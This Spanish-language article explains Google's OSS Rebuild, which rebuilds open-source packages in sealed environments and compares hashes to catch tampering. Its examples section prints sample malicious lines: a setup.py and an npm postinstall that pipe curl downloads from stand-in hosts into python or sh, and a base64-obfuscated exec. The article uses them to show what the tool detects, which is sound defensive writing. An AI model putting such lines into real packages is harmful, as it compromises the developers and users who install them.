Cómo utilizar OSS Rebuild de Google: una nueva herramienta de seguridad para la cadena de suministro de software de código abierto

Como respuesta al aumento en los ataques contra la cadena de suministro de software open source, Google ha lanzado OSS Rebuild, una iniciativa que reconstruye automáticamente paquetes OSS en entornos aislados y compara los binarios resultantes con los que se distribuyen públicamente.

Al detectar cualquier discrepancia, OSS Rebuild puede revelar malware oculto, modificaciones maliciosas en el build y puertas traseras que han afectado históricamente a los repositorios como PyPI y npm. La iniciativa complementa otros esfuerzos de Google como OpenSSF, SLSA y Sigstore, en favor de un OSS más confiable.

¿Qué es OSS Rebuild?

OSS Rebuild es un marco de verificación de reproducibilidad que:

  • Obtiene el código fuente desde repositorios públicos
  • Reconstruye los paquetes en entornos herméticos y controlados
  • Compara los binarios generados con los originales publicados
  • Marca inconsistencias para investigación o respuesta inmediata

Este proceso permite detectar ataques sofisticados donde el código fuente luce legítimo, pero el binario final contiene modificaciones maliciosas.

¿Por Qué Es Importante?

Los atacantes apuntan cada vez más a los ecosistemas OSS mediante:

  • Scripts de build maliciosos
  • Bombas lógicas ocultas en compiladores
  • Instaladores con puertas traseras o robo de credenciales
  • Repositorios secuestrados o con nombres similares (typosquatting)

Casos como el backdoor de XZ (2024) o el incidente de event-stream en npm demostraron cómo paquetes populares pueden volverse armas.

¿Cómo Funciona OSS Rebuild? — Explicación Técnica

1. Descarga del Código Fuente

Ejemplo:

pip download --no-binary :all: flask==2.3.2
tar -xf flask-2.3.2.tar.gz

Google obtiene el código fuente directamente desde PyPI, npm o crates.io.

2. Reconstrucción en Entorno Hermético

Ejemplo (Python):

docker run --rm -v $PWD:/app python:3.11 \
  bash -c "cd /app && python setup.py bdist_wheel"

La compilación se realiza sin acceso a red, usando toolchains fijos. Esto asegura que el resultado sea determinístico.

3. Comparación de Binarios

Google genera un hash del binario reconstruido y lo compara con el publicado:

sha256sum dist/*.whl
# Comparar con el hash publicado en PyPI:
curl https://pypi.org/pypi/flask/2.3.2/json | jq '.releases["2.3.2"][0].digests.sha256'

Coincidencia = paquete confiable
Diferencia = posible alteración o falta de reproducibilidad

Ejemplos de Ataques Detectables por OSS Rebuild

Caso 1: Inyección Maliciosa en Tiempo de Build

Código malicioso en setup.py:

if "bdist_wheel" in os.sys.argv:
    os.system("curl http://malicious.site/loader.py | python")

Solo se ejecuta al compilar. OSS Rebuild lo detecta al ver diferencias en el artefacto final.

Caso 2: Código Obfuscado Solo en el Binario

Archivo malicioso en .whl:

# hidden.py
import base64
exec(base64.b64decode('ZXZpbCgp...'))

No presente en el código fuente. OSS Rebuild lo descubre al hacer diff entre archivos.

Caso 3: Script Malicioso en postinstall (npm)

"scripts": {
  "postinstall": "node ./install.js"
}

Y en install.js:

require('child_process').exec('curl http://c2[.]com/x.sh | sh');

OSS Rebuild bloquea postinstall en su entorno seguro, provocando un hash diferente y señalando el paquete como sospechoso.

Impacto en Seguridad y la Industria

VectorDetectado por OSS Rebuild
Backdoors en compiladores Sí
Conexiones de red en build Sí
Archivos extra en binarios Sí
Typosquatting en dependencias Parcial (según metadata)
Inconsistencias firmadas Sí

Beneficios Estratégicos

Para Desarrolladores:

  • Paquetes verificables por terceros
  • Alertas automáticas por builds no reproducibles
  • Confianza basada en CI/CD determinístico

Para Equipos de Seguridad:

  • Validación de SBOM con datos públicos
  • Auditorías automáticas de builds en pipelines
  • Requisitos de reproducibilidad como parte de cumplimiento (SOC2, ISO)

Parte de un Ecosistema de Seguridad Mayor

OSS Rebuild complementa otros esfuerzos como:

  • SLSA: Estándares de seguridad para builds y artefactos
  • Sigstore: Firma y verificación de paquetes
  • Reproducible Builds en Debian, Arch, Alpine
  • OpenSSF Scorecard y Allstar para mantener repositorios seguros

¿Qué Sigue?

Google planea:

  • Ampliar OSS Rebuild a más lenguajes y entornos
  • Hacer públicas las puntuaciones de reproducibilidad
  • Integrar advertencias visuales en GitHub, PyPI y npm
  • Ofrecer API para integrarlo en pipelines y escáneres de seguridad